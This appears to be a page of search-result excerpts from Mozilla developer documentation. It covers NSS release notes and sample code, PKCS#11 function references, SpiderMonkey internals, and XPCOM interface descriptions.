nss 3.18 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_18_rtm/src/ new in nss 3.18 new functionality when importing certificates and keys from a pkcs#12 source, it's now possible to override the nicknames, prior to importing them into the nss database, using new api sec_pkcs12decoderrenamecertnicknames.
...it is possible to run tstclnt without providing a database (-d).
NSS 3.19.2.1 release notes
bug 1192028 (cve-2015-7181) and bug 1202868 (cve-2015-7182): several issues existed within the asn.1 decoder used by nss for handling streaming ber data.
... while the majority of nss uses a separate, unaffected der decoder, several public routines also accept ber data, and thus are affected.
NSS 3.19.4 release notes
bug 1192028 (cve-2015-7181) and bug 1202868 (cve-2015-7182): several issues existed within the asn.1 decoder used by nss for handling streaming ber data.
... while the majority of nss uses a separate, unaffected der decoder, several public routines also accept ber data, and thus are affected.
NSS 3.20.1 release notes
bug 1192028 (cve-2015-7181) and bug 1202868 (cve-2015-7182): several issues existed within the asn.1 decoder used by nss for handling streaming ber data.
... while the majority of nss uses a separate, unaffected der decoder, several public routines also accept ber data, and thus are affected.
NSS 3.22 release notes
enforce an external policy on nss from a config file (bug 1009429) you can now add a config= line to pkcs11.txt (assuming you are using sql databases), which will force nss to restrict the application to certain cryptographic algorithms and protocols.
... in ssl.h ssl_peersignedcerttimestamps - get signed_certificate_timestamp tls extension data ssl_setsignedcerttimestamps - set signed_certificate_timestamp tls extension data new types in secoidt.h the following are added to secoidtag: sec_oid_aes_128_gcm sec_oid_aes_192_gcm sec_oid_aes_256_gcm sec_oid_idea_cbc sec_oid_rc2_40_cbc sec_oid_des_40_cbc sec_oid_rc4_40 sec_oid_rc4_56 sec_oid_null_cipher sec_oid_hmac_md5...
NSS 3.34 release notes
new in nss 3.34 new functionality when listing an nss database.
... using certutil -l, and the database hasn't yet been initialized with any non-empty or empty password, the text "database needs user init" will be included in the listing.
NSS 3.38 release notes
nss automatically enables caching for sql database storage on linux, if it is located on a network filesystem that's known to benefit from caching.
... when repeatedly importing the same certificate into an sql database, the existing nickname will be kept.
NSS 3.48 release notes
certificate authority changes the following ca certificates were added: bug 1591178 - entrust root certification authority - g4 cert sha-256 fingerprint: db3517d1f6732a2d5ab97c533ec70779ee3270a62fb4ac4238372460e6f01e88 upcoming changes in nss 3.49 the legacy dbm database, libnssdbm, will no longer be built by default.
...e tls extended master secret by default bug 1590970 - ssl_settimefunc has incomplete coverage bug 1590678 - remove -wmaybe-uninitialized warning in tls13esni.c bug 1588244 - nss changes for delegated credential key strength checks bug 1459141 - add more cbc padding tests that missed nss 3.47 bug 1590339 - fix a memory leak in btoa.c bug 1589810 - fix uninitialized variable warnings from certdata.perl bug 1573118 - enable tls 1.3 by default in nss this bugzilla query returns all the bugs fixed in nss 3.48: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.48 compatibility nss 3.48 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.49 release notes
notable changes in nss 3.49 the legacy dbm database, libnssdbm, is no longer built by default when using gyp builds.
... bug 1606025 - remove -wmaybe-uninitialized warning in sslsnce.c bug 1606119 - fix ppc hw crypto build failure bug 1605545 - memory leak in pk11install_platform_generate bug 1602288 - fix build failure due to missing posix signal.h bug 1588714 - implement checkarmsupport for win64/aarch64 bug 1585189 - nss database uses 3des instead of aes to encrypt db entries bug 1603257 - fix ubsan issue in softoken ckm_nss_chacha20_ctr initialization bug 1590001 - additional hrr tests (cve-2019-17023) bug 1600144 - treat clienthello with message_seq of 1 as a second clienthello bug 1603027 - test that esni is regenerated after helloretryrequest bug 1593167 - intermittent mis-reporting potential security risk se...
NSS 3.52 release notes
bug 1612281 - maintain pkcs11 c_getattributevalue semantics on attributes that lack nss database columns.
... bug 1630925 - guard all instances of nsscmssigneddata.signerinfo to avoid a cms crash bug 1571677 - name constraints validation: cn treated as dns name even when syntactically invalid as dns name this bugzilla query returns all the bugs fixed in nss 3.52: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.52 compatibility nss 3.52 shared libraries are backwar...
NSS Developer Tutorial
a data buffer is usually represented as: unsigned char *data; unsigned int len; the buffer pointer is unsigned char *, as opposed to void *, so we can perform pointer arithmetic without casting.
... use char * only if the data is interpreted as text characters.
NSS Sample Code Sample_1_Hashing
secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[...
... /* convert and validate */ hashoidtag = hashnametooidtag(hashname); if (hashoidtag == sec_oid_unknown) { fprintf(stderr, "%s: invalid digest type - %s\n", progname, hashname); usage(progname); } /* digest it and print the result */ rv = digestfile(pr_stdout, pr_stdin, hashoidtag); if (rv != secsuccess) { fprintf(stderr, "%s: problem digesting data (%d)\n", progname, port_geterror()); } rv = nss_shutdown(); if (rv != secsuccess) { exit(-1); } return 0; } </sechash.h></secmodt.h></secoid.h></prio.h></plgetopt.h></prtypes.h></prprf.h> ...
NSS Sample Code sample4
nss sample code 4: pki encryption /* example code to illustrate pki crypto ops (encrypt with public key, * decrypt with private key) * * code assumes that you have set up a nss database with a certificate * and a private key.
... */ #include "nss.h" #include "pk11pub.h" /* this callback is responsible for returning the password to the nss * key database.
Hashing - sample 1
secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[...
... /* convert and validate */ hashoidtag = hashnametooidtag(hashname); if (hashoidtag == sec_oid_unknown) { fprintf(stderr, "%s: invalid digest type - %s\n", progname, hashname); usage(progname); } /* digest it and print the result */ rv = digestfile(pr_stdout, pr_stdin, hashoidtag); if (rv != secsuccess) { fprintf(stderr, "%s: problem digesting data (%d)\n", progname, port_geterror()); } rv = nss_shutdown(); if (rv != secsuccess) { exit(-1); } return 0; } ...
nss tech note2
collect performance data.
...a summary of performance data is dumped during nss shutdown.
nss tech note3
there are 8 key usages: cert_sign crl_sign data_encipherment digital_signature govt_approved key_agreement key_encipherment non_repudiation there are 9 cert types: email email_ca object_signing object_signing_ca ssl_ca ssl_client ssl_server status_responder time_stamp for the cert being checked, the requirements are: cert usage requried key usage required cert type -------------------- -------------------- -----------...
... /* x.509 v3 key usage extension flags */ #define ku_digital_signature (0x80) /* bit 0 */ #define ku_non_repudiation (0x40) /* bit 1 */ #define ku_key_encipherment (0x20) /* bit 2 */ #define ku_data_encipherment (0x10) /* bit 3 */ #define ku_key_agreement (0x08) /* bit 4 */ #define ku_key_cert_sign (0x04) /* bit 5 */ #define ku_crl_sign (0x02) /* bit 6 */ #define ns_cert_type_ssl_client (0x80) /* bit 0 */ #define ns_cert_type_ssl_server (0x40) /* bit 1 */ #define ns_cert_type_email (0x20) /* bit...
PKCS11 Implement
the nss uses this combination of flags for its internal token when the key database password is null.
...the nss sometimes loads raw key data and builds a key from that.
FC_DigestEncryptUpdate
ppart [in] pointer to the data part.
... ulpartlen [in] length of data in bytes.
FC_DigestUpdate
ppart [in] pointer to the next block of data to be digested.
... uspartlen [in] length of data block in bytes.
FC_EncryptFinal
plastencryptedpart [out] pointer to the location that receives the last encrypted data part, if any puslastencryptedpartlen [in,out] pointer to location where the number of bytes of the last encrypted data part is to be stored.
... description fc_encryptfinal returns the last block of data of a multi-part encryption operation.
FC_Initialize
in addition to creating the internal data structures, it performs the fips software integrity test and power-up self-tests.
...nss_nodb_init(""), which initializes nss with no databases: "configdir='' certprefix='' keyprefix='' secmod='' flags=readonly,nocertdb,nomod db,forceopen,optimizespace " mozilla firefox initializes nss with this string (on windows): "configdir='c:\\documents and settings\\wtc\\application data\\mozilla\\firefox\\profiles\\default.7tt' certprefix='' keyprefix='' secmod='secmod.db' flags=optimizespace manufacturerid='mozilla.org' librarydescriptio...
FC_SignUpdate
ppart [in] pointer to the next block of the data to be signed.
... uspartlen [in] length of data block in bytes.
FC_VerifyRecoverInit
name fc_verifyrecoverinit - initialize a verification operation where data is recoverable.
... description fc_verifyrecoverinit initializes a signature verification operation where the (digest) data can be recovered from the signature.
NSS reference
data types based on "selected ssl types and structures" in the ssl reference.
... pkcs #7 functions based on "archived pkcs #7 functions documentation." pkcs #5 functions password-based encryption sec_pkcs5getiv sec_pkcs5createalgorithmid sec_pkcs5getcryptoalgorithm sec_pkcs5getkeylength sec_pkcs5getpbealgorithm sec_pkcs5isalgorithmpbealg pkcs #12 functions based on "archived pkcs #12 functions documentation." used to exchange data such as private keys and certificates between two parties.
ssltyp.html
certcertdbhandle an opaque handle structure for open certificate databases.
... syntax #include <seccomon.h> #include <prtypes.h> #include <secport.h> typedef enum { sibuffer, sicleardatabuffer, sicipherdatabuffer, sidercertbuffer, siencodedcertbuffer, sidernamebuffer, siencodednamebuffer, siasciinamestring, siasciistring, sideroid } secitemtype; typedef struct secitemstr secitem; struct secitemstr { secitemtype type; unsigned char *data; unsigned int len; }; description a secitem structure can be used to associate your own data with...
SSL functions
function name/documentation source code nss versions nss_getclientauthdata mxr 3.2 and later nss_setdomesticpolicy mxr 3.2 and later nss_setexportpolicy mxr 3.2 and later nss_setfrancepolicy mxr 3.2 and later nssssl_versioncheck mxr 3.2.1 and later ssl_authcertificate mxr 3.2 and later ssl_authcertificatehook mxr 3.2 and later ssl_badcerthook mxr 3.2 and later ...
...pherprefgetdefault mxr 3.2 and later ssl_cipherprefset mxr 3.2 and later ssl_cipherprefsetdefault mxr 3.2 and later ssl_clearsessioncache mxr 3.2 and later ssl_configmpserversidcache mxr 3.2 and later ssl_configsecureserver mxr 3.2 and later ssl_configserversessionidcache mxr 3.2 and later ssl_datapending mxr 3.2 and later ssl_forcehandshake mxr 3.2 and later ssl_forcehandshakewithtimeout mxr 3.11.4 and later ssl_getchannelinfo mxr 3.4 and later ssl_getciphersuiteinfo mxr 3.4 and later ssl_getclientauthdatahook mxr 3.2 and later ssl_getmaxservercachelocks mxr 3.4 and later ssl_getsession...
SpiderMonkey Build Documentation
for a list of other available build options, type (assuming the current working directory is one of the above-created build directories): /bin/sh ../configure.in --help generating a compilation database some tools (like ides, static analyzers and refactoring tools) consume a file called compile_commands.json which contains a description of all the pieces required to build a piece of software so that tools don't have to also understand a build system.
...you can override this by passing options to the configure script: what it is where it gets put configure option executables, shell scripts /usr/local/bin --bindir libraries, data /usr/local/lib --libdir architecture-independent data /usr/local/share --sharedir c header files /usr/local/include --includedir for convenience, you can pass the configure script an option of the form --prefix=<prefixdir>, which substitutes <prefixdir> for /usr/local in all the settings above, in one step.
Creating JavaScript jstest reftests
test262 tests test262 is the implementation conformance test suite for the latest drafts of ecmascript language specification, as well as internationalization api specification and the json data interchange format.
...when importing test262, the test file's in-file metadata is translated from test262 format to a format readibly by the jstest harness.
GC Rooting Guide
one consequence of having different rooting requirements for heap and stack data is that a single structure containing gc thing pointers cannot be used on both the stack and the heap.
... use js::heap<t> members for heap data.
64-bit Compatibility
for example, this code will not load a native integer correctly on a 64-bit machine: struct object { void *data; }; lir->insload(lir_ld, objins, ins->insimm(offsetof(object, data))); lir_ld is 32-bit.
...luckily there is an alias that will choose the right opcode for you - lir_ldp: struct object { void *data; }; lir->insload(lir_ldp, objins, ins->insimm(offsetof(object, data))); when you use lirwriter::insstore, the correct size is chosen for you automatically, based on the size of the input operands.
Bytecodes
the javascript frontend constructs an ast from the source text, then emits stack-based bytecodes from that ast as a part of the jsscript data structure.
... bytecodes can reference atoms and objects (typically by array index) which are also contained in the jsscript data structure.
Garbage collection
principal data structures cell a cell is the unit of memory that is allocated and collected by the gc, as used externally.
...in other words, it is an updatable pointer to a gc thing (it is essentially a cell** that the gc knows about.) root a starting point to the gc graph traversal, a root is known to be alive for some external reason (one other than being reachable by some other part of the gc heap.) weak pointer in common cs terminology, a weak pointer is one that doesn't keep the pointed-to value live for gc purposes.
Property cache
spidermonkey's property cache is an internal data structure used to speed up property accesses in the interpreter and to communicate between the interpreter and jit.
...(the existence of this property is guaranteed by the basic layout guarantee above.) (informally: two objects with the same shape have the same method properties.) branded object guarantee — if at time t0 the object x has shape s; and x is branded (x->branded()); and x has an own property p, which is a writable, function-valued data property with the stub getter and setter and a slot; and at time t1 an object y has shape s; and no shape-regenerating gc occurred; then y is x, and at time t1 x's own property p has the same function value it had at time t0.
JSClass.flags
its value is the logical or of zero or more of the following constants: flag meaning jsclass_has_private this class uses private data.
... if this flag is set, each instance of the class has a field for private data.
JSGetObjectOps
thus jsclass (which pre-dates jsobjectops in the api) provides a low-level interface to class-specific code and data, while jsobjectops allows for a higher level of operation, which does not use the object's class except to find the class's jsobjectops struct, by calling clasp->getobjectops, and to finalize the object.
...most host objects do not need to implement the larger jsobjectops, and can share the common jsscope code and data used by the native (js_objectops, see jsobj.c) ops.
JSObject
these are c/c++ hooks and metadata that govern various aspects of the object's behavior and describe its layout in memory.
... depending on the jsclass, an object may have a private data pointer and any number of reserved slots.
JS_GetReservedSlot
description if a jsclass has jsclass_has_reserved_slots(n) in its flags, with n > 0, or has a non-null jsclass.reserveslots callback, then objects of that class have n reserved slots in which the application may store data.
...it's only legal to store and retrieve data from private values.
JS_GetTypeName
returns a pointer to the string literal description of a specified js data type.
... description js_gettypename returns a pointer to a string literal description of a specified js data type, type.
JS_InitClass
the jsclass is an internal data structure that is not exposed outside the javascript engine.
...this inconsistency can cause problems; for example, if the finalizer calls js_getprivate(), expecting that the constructor called js_setprivate(), it may find that the private data is null.
JS_MapGCRoots
syntax uint32 js_mapgcroots(jsruntime *rt, jsgcrootmapfun map, void *data); callback syntax #define js_map_gcroot_next 0 /* continue mapping entries */ #define js_map_gcroot_stop 1 /* stop mapping entries */ #define js_map_gcroot_remove 2 /* remove and free the current entry */ typedef int (*jsgcrootmapfun)(void *rp, const char *name, void *data); description call js_mapgcroots to map the gc's roots table using map(rp, name, data).
... the root is pointed at by rp; if the root is unnamed, name is null; data is supplied from the third parameter to js_mapgcroots.
JS_ReportErrorNumber
userref void * a pointer to application data.
...the meaning of the data is up to the application.
JS_SetErrorReporter
note that js_seterrorreporter has no facility to directly pass a user data pointer to the error reporting function.
...mit); js_setruntimeprivate(rt, this); js_seterrorreporter(rt, &myrequest::dispatcherror); // execute js } void onerror(const std::string& error) { // handle error } static void dispatcherror( jscontext* ctx, const char* message, jserrorreport* report) { auto rt = js_getruntime(ctx); auto rt_userdata = js_getruntimeprivate(rt); if (rt_userdata) { auto req = static_cast<myrequest*>(rt_userdata); req->onerror(message); } } }; see also mxr id search for js_geterrorreporter mxr id search for js_seterrorreporter bug 1277278 - js_seterrorreporter is renamed to js::setwarningreporter ...
JS_SetGCCallback
syntax void js_setgccallback(jsruntime *rt, jsgccallback cb, void *data); jsgccallback js_setgccallback(jscontext *cx, jsgccallback cb); // obsolete since jsapi 13 jsgccallback js_setgccallbackrt(jsruntime *rt, jsgccallback cb); // obsolete since jsapi 13 name type description cx jscontext * (for the old js_setgccallback) any jscontext.
... callback syntax typedef enum jsgcstatus { jsgc_begin, jsgc_end, jsgc_mark_end, // obsolete since jsapi 13 jsgc_finalize_end // obsolete since jsapi 13 } jsgcstatus; typedef void (* jsgccallback)(jsruntime *rt, jsgcstatus status, void *data); name type description cx jscontext * the context in which garbage collection is happening.
JS_SetScriptStackQuota
set the maximum amount of memory a context will use for certain data structures.
... description set the quota on the number of bytes that stack-like data structures can use when the runtime compiles and executes scripts.
JS_TypeOfValue
determines the js data type of a js value.
... description js_typeofvalue examines a specified js value, v, and returns its js data type.
TPS Tab Lists
for example: var tabs1 = [ { uri: "http://hg.mozilla.org/automation/crossweave/raw-file/2d9aca9585b6/pages/page1.html", title: "crossweave test page 1", profile: "profile1" }, { uri: "data:text/html,<html><head><title>hello</title></head><body>hello</body></html>", title: "hello", profile: "profile1" } ]; tab lists and phase actions tabs cannot be modified or deleted, only added or verified with the following functions: tabs.add - opens the specified tabs in the browser window.
... there are a handful of static pages at http://hg.mozilla.org/services/tps/file/tip/pages which can be used for tab testing, and data: url's can be used as well.
Thread Sanitizer
thread sanitizer (tsan) is a fast data race detector for c/c++ programs.
..._options moz_objdir=@topsrcdir@/objdir-ff-tsan mk_add_options moz_make_flags=-j12 # enable llvm specific code and build workarounds ac_add_options --enable-thread-sanitizer # if clang is already in your $path, then these can simply be: # export cc=clang # export cxx=clang++ export cc="/path/to/clang" export cxx="/path/to/clang++" # llvm-symbolizer displays much more complete backtraces when data races are detected.
Mozilla Projects
firefox sync firefox sync synchronizes state and configuration data used by the browser, such as bookmarks, history, preferences, bookmarks, and so forth among all your devices.
... thread sanitizer thread sanitizer (tsan) is a fast data race detector for c/c++ programs.
Gecko events
event_visible_data_changed a visibile data event indicates the change of the visual appearance of an accessible object.
...event_table_model_changed a table's data changed.
XPCOM array guide
MozillaTechXPCOMGuideArrays
nsautotarray<t, n> - a version of nstarray which includes n entries of internal storage for the array data.
... this handy chart may make it easier to understand the different arrays: class data type scriptable?
An Overview of XPCOM
when a user looks up a phone number in a company database, for example, probably that database is being represented by an "object" that is the same for all co-workers.
... if it weren't, the application would need to keep two copies of a large database in memory, for one thing, and there might also be inconsistencies between records as the copies diverged.
Setting up the Gecko SDK
%applicationdata%\mozilla\firefox\profiles\x.extensions\extensions\bob@george.com.
... next run the regxpcom to registister the component in firefox (this writes to the complist.dat file in your profile) regxpcom -x "c:\program files (x86)\mozilla firefox\" -c "c:\users\<user>\appdata\roaming\mozilla\firefox\profiles\<profile>\compreg.dat" -d "c:\users\<user>\appdata\roaming\mozilla\firefox\profiles\<profile>\xpti.dat" "c:\users\<user>\appdata\roaming\mozilla\firefox\profiles\<profile>\extensions\bob@george.com\cspecialthing.dll" now if you start up firefox using that profile, you should have your new component installed.
XPCOM guide
MozillaTechXPCOMGuide
however, it may be useful for c++ code in the mozilla platform to run tasks on another thread.mozilla internal string guidemost of the mozilla code uses a c++ class hierarchy to pass string data, rather than using raw pointers.
...this article details those changes, and provides suggestions for how to update your code.xpcom hashtable guidea hashtable is a data construct that stores a set of items.
Components.Exception
syntax var exception = [ new ] components.exception([ message [, result [, stack [, data ] ] ] ]); parameters message a string which can be displayed in the error console when your exception is thrown or in other developer-facing locations, defaulting to 'exception' result the nsresult value of the exception, which defaults to components.results.ns_error_failure stack an xpcom stack to be set on the exception (defaulting to the current stack chain) data any additional ...
...data you might want to store, defaulting to null example throw components.exception("i am throwing an exception from a javascript xpcom component."); ...
EndReading
the ns_cstringgetdata function can be used to determine if a nsacstring instance has null-terminated storage.
... see also beginreading, ns_cstringgetdata, nsacstring ...
EndReading
the ns_cstringgetdata function can be used to determine if a nsastring instance has null-terminated storage.
... see also beginreading, ns_cstringgetdata, nsastring ...
nsCStringEncoding
the conversion may result in loss and/or corruption of information if the strings do not strictly contain ascii data.
...no attempt is made to protect against data loss in this case.
imgIRequest
status_size_available 0x1 we received enough image data from the network or filesystem that we know the width and height of the image, and have thus called setsize() on the container.
... status_load_complete 0x4 the data has been fully loaded to memory, but not necessarily fully decoded.
inIDOMUtils
getselectortext(in nsidomcssstylerule arule, in unsigned long aselectorindex); unsigned long long getspecificity(in nsidomcssstylerule arule, in unsigned long aselectorindex); nsidomfontfacelist getusedfontfaces(in nsidomrange arange); bool haspseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); boolean isignorablewhitespace(in nsidomcharacterdata adatanode); bool isinheritedproperty(in astring apropertyname); void parsestylesheet(in nsidomcssstylesheet asheet, in domstring ainput); void removepseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); astring rgbtocolorname(in octet ar, in octet ag, in octet ab); bool selectormatcheselement(in nsidomelement aelement, in nsidomcsssty...
... boolean isignorablewhitespace( in nsidomcharacterdata adatanode ); parameters adatanode a dom characterdata node; that is, a text node.
jsdIStackFrame
private data for this object is an nsisupports object.
...private data for this context, if it is an nsisupports, |null| otherwise.
mozIVisitInfoCallback
void handleresult( in moziplaceinfo aplaceinfo ); parameters aplaceinfo the information that was entered into the database.
... aplaceinfo the information that was being entered into the database.
nsIAbCard
inherits from: nsisupports method overview astring getcardvalue(in string name) void setcardvalue(in string attrname, in astring value) void copy(in nsiabcard srccard) boolean equals(in nsiabcard card) string converttobase64encodedxml() astring converttoxmlprintdata() string converttoescapedvcard() astring generatename(in long agenerateformat,[optional] in nsistringbundle abundle) astring generatephoneticname(in boolean alastnamefirst) attributes attribute type description firstname astring lastname astring phoneticfirstname astring phoneticlastname ...
... converttobase64encodedxml() string converttobase64encodedxml() return value converttoxmlprintdata() astring converttoxmlprintdata() return value converttoescapedvcard() string converttoescapedvcard() return value generatename() generate a name from the card for display purposes.
nsIAccelerometerUpdate
xpcom/system/nsiaccelerometer.idlnot scriptable replaced by nsidevicemotionupdate 1.0 66 introduced gecko 2.0 obsolete gecko 6.0 inherits from: nsiaccelerometer last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) this method is only used in content tabs to receive nsiacceleration data from the chrome process.
... method overview void accelerationchanged(in double x, in double y, in double z); methods accelerationchanged() void accelerationchanged( in double x, in double y, in double z ); parameters x y z the coordinates of the nsiacceleration data.
nsIAsyncInputStream
the caller must then wait for the stream to have some data to read.
...in other words, this method may be called when the stream already has data to read.
nsIAsyncStreamCopier
void init( in nsiinputstream asource, in nsioutputstream asink, in nsieventtarget atarget, in boolean asourcebuffered, in boolean asinkbuffered, in unsigned long achunksize, in boolean aclosesource, in boolean aclosesink ); parameters asource contains the data to be copied.
... asink specifies the destination for the data.
nsIAuthPrompt2
level_secure 2 the connection, both for password and data, is secure.
...this has largely the same semantics as nsiauthprompt.promptusernameandpassword(), but must return immediately after calling and return the entered data in a callback.
nsIAuthPromptWrapper
the nsiauthpromptwrapper interface is an override of nsiauthprompt which performs some action on the data going through nsiauthprompt methods.
... persisting data from the prompts and using it to pre-fill subsequent prompts would be one such action.
nsICacheDeviceInfo
maximumsize unsigned long get the upper limit of the size of the data the cache can store.
... usagereport string get a usage report, statistics, miscellaneous data about the cache device.
nsICategoryManager
xpcom/components/nsicategorymanager.idlscriptable this interface provides access to a data structure that holds a list of name-value pairs, called categories, where each value is a list of strings.
...ecategories(getter_addrefs(cats)); if (ns_failed(rv)) return rv; prbool hasmore; while (ns_succeeded(cats->hasmoreelements(&hasmore) && hasmore) { nscomptr<nsisupports> elem; cats->getnext(getter_addrefs(elem)); nscomptr<nsisupportscstring> category = do_queryinterface(elem, &rv); if (ns_failed(rv)) break; nsembedcstring categoryname; rv = category->getdata(categoryname); if (ns_failed(rv)) break; printf("%s\n", categoryname.get()); } return ns_ok; } this snippet shows how to print out a list of all categories in javascript.
nsIClipboardCommands
mozilla does not use a private clipboard, instead it places its data directly onto the system clipboard.
...return value true if there is data to paste on the clipboard and the current selection is not read-only, false otherwise.
nsIContentPrefService2
dom/interfaces/base/nsicontentprefservice2.idlscriptable asynchronous api for content preferences 1.0 66 introduced gecko 20.0 inherits from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) description content preferences allow the application to associate arbitrary data, or "preferences", with specific domains, or web "content".
...if the preference is known not to exist, the value attribute of the returned object will be undefined (nsidatatype.vtype_void()).
nsIConverterOutputStream
exceptions thrown ns_error_loss_of_significant_data if areplacementcharacter is not encodable in the selected character encoding and an attempt is made to write the character.
... see also nsiconverterinputstream see writing textual data for an example.
nsICookiePermission
methods canaccess() tests whether or not the given uri/channel may access the cookie database, either to set or get cookies.
...acookie the cookie being added to the cookie database.
nsIDOMFileList
gecko 1.9.2 note starting in gecko 1.9.2, this is also used by the datatransfer object to support dragging and dropping files into web applications.
... see also filelist datatransfer drag and drop ...
nsIDOMNode
dom/interfaces/core/nsidomnode.idlscriptable this interface is the primary datatype for the entire document object model.
... constants constant value description element_node 1 attribute_node 2 text_node 3 cdata_section_node 4 entity_reference_node 5 entity_node 6 processing_instruction_node 7 comment_node 8 document_node 9 document_type_node 10 document_fragment_node 11 notation_node 12 methods appendchild() nsidomnode appendchild( in nsidomnode newchild ); parameters newchild return value clonenode() nsidomnode clonenode( in boolean deep ); parameters dee...
nsIDOMProgressEvent
dom/interfaces/events/nsidomprogressevent.idlscriptable this interface represents the events sent with progress information while uploading data using the xmlhttprequest object.
... lengthcomputablearg if the size of the data to be transferred is known, this should be true.
nsIDOMStorageManager
dom/interfaces/storage/nsidomstoragemanager.idlscriptable this interface provides methods for managing data stored in the offline apps cache.
...all data owned by a domain with the "offline-app" permission is removed from the database.
nsIDOMWindow
data stored in local storage may only be accessed from the same origin that inserted the data into storage in the first place.
...data stored in session storage may be accessed by any site in the browsing context.
nsIException
data nsisupports arbitary data for the implementation.
... null indicates "no data" read only.
nsIFeedProgressListener
in atom, all feed data is required to precede the entries; in rss, this isn't required but is typically the case.
... in other words, by the time this method is called, it is most likely that most or all of the feed-level metadata has been processed and is available in the received nsifeedresult object.
nsIFeedResult
toolkit/components/feeds/nsifeedresult.idlscriptable this interface provides access to http and parsing metadata for a feed or entry.
...there may still be feed metadata and entries that were parsed before the error occurred.
nsIHTMLEditor
dodrag() transfers the relevant data (as appropriate) to a transferable so it can later be dropped.
... insertfromdrop() looks for a dragsession and inserts the relevant data in response to a drop.
nsIHttpChannel
note: the data for a "post" or "put" request can be configured via nsiuploadchannel.
... however, after setting the upload data, it may be necessary to set the request method explicitly.
nsIHttpServer
* @note * implementations may treat type as a trusted argument; users who fail to * generate this string from trusted data risk security vulnerabilities.
... an nsifile corresponding to the * directory is available from the metadata object passed to the * handler, under the key "directory".
nsIHttpUpgradeListener
asocketin the nsiasyncinputstream object representing the input stream for data coming from the server over the socket connection.
... asocketout the nsiasyncoutputstream object representing the out stream for sending data to the server over the socket.
nsIMemoryMultiReporterCallback
closure an nsisupports object providing any additional data the callback might need; you provide this when you call nsimemorymultireporter.collectreports().
... it will be null if no additional data was provided.
nsIMessageListener
data a structured clone of the message payload: the second argument passed into the message-sending function.
... json same as data.
nsIMessageSender
see nsimessagelistener::receivemessage() for the format of the data delivered to listeners.
... a structured clone of this becomes the data property of the received message.
nsIMsgSearchSession
n nsmsgsearchscopevalue attrib); void search(in nsimsgwindow awindow); void interruptsearch(); void pausesearch(); void resumesearch(); [noscript] nsmsgsearchtype setsearchparam(in nsmsgsearchtype type, in voidptr param); [noscript] void addresultelement(in nsmsgresultelement element); boolean matchhdr(in nsimsgdbhdr amsghdr, in nsimsgdatabase adatabase); void addsearchhit(in nsimsgdbhdr header, in nsimsgfolder folder); attributes attribute type description searchterms nsisupportsarray readonly: numsearchterms unsigned long readonly: runningadapter nsimsgsearchadapter readonly: searchparam voidptr not scriptable and readonly: se...
...d resumesearch(); setsearchparam() [noscript] nsmsgsearchtype setsearchparam(in nsmsgsearchtype type, in voidptr param); parameters type param addresultelement() [noscript] void addresultelement(in nsmsgresultelement element); parameters element matchhdr() boolean matchhdr(in nsimsgdbhdr amsghdr, in nsimsgdatabase adatabase); parameters amsghdr adatabase addsearchhit() void addsearchhit(in nsimsgdbhdr header, in nsimsgfolder folder); parameters header folder ...
nsINavBookmarkObserver
in this situation, you should not attempt to get any properties, since this will result in the automatic regeneration of properties that will then be leaked into the database, causing trouble later.
... "dateadded" the prtime at which the item was first added to the database.
nsINavHistoryObserver
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 21.0 (firefox 21.0 / thunderbird 21.0 / seamonkey 2.18) warning: if you are in the middle of a batch transaction, there may be a database transaction active.
... you can still access the database in this situation but be careful (of what?).
nsINavHistoryResult
result objects represent the model in which the data is stored.
... external components provide the view and controller pieces of the puzzle; they define how the data looks and how the data is interacted with.
nsIProtocolHandler
protocols like file that point to local data should set this flag.
... uri_does_not_return_data 1<<11 channels using this protocol never call ondataavailable() on the listener passed to asyncopen(), and therefore do not return any usable data.
nsIRandomGenerator
netwerk/base/public/nsirandomgenerator.idlscriptable interface used to generate random data.
...void generaterandombytes( in unsigned long alength, [retval, array, size_is(alength)] out octet abuffer ); parameters alength the length of the data to generate.
nsIScrollable
when passing this in to a method you are requesting or setting data for the horizontal scrollbar.
...when passing this in to a method you are requesting or setting data for the vertical scrollbar.
nsISessionStartup
it was changed in order to improve performance, which was suffering due to the need to parse and stringify the data.
... constants session type constants constant value description no_session 0 there's no data available from the previous session.
nsISound
event_prompt_dialog_open 3 a prompt dialog (one that allows the user to enter data, such as an authentication dialog) is opened.
... _moz_promptdialog the system sound when a prompt dialog (one that allows the user to enter data, such as an authentication dialog) is opened.
nsISupportsArray
